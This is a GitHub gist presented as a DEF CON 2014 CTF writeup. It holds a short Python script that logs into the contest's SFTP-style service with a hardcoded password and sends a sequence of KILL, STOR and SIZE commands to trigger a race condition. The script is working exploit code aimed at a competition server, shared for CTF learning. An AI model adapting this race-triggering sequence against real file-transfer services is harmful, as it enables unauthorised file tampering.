Skip to content

Instantly share code, notes, and snippets.

@potetisensei
Created May 19, 2014 15:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save potetisensei/bb2312be19110f0b8b89 to your computer and use it in GitHub Desktop.
Save potetisensei/bb2312be19110f0b8b89 to your computer and use it in GitHub Desktop.
DEFCON 2014 Writeup sftp
import time
import socket
def cause_race():
tmp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#tmp.connect(('localhost', 115))
tmp.connect(('sftp_bf28442aa4ab1a4089ddca16729b29ac.2014.shallweplayaga.me', 115))
print tmp.recv(4096)
tmp.send("PASS defcon2014\n")
print tmp.recv(4096)
tmp.send("KILL a\n")
print tmp.recv(4096)
tmp.send("STOR OLD a\n")
print tmp.recv(4096)
tmp.send("SIZE 46\n")
print tmp.recv(4096)
for i in range(46):
tmp.sendall("\x2c")
tmp.close()
cause_race()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment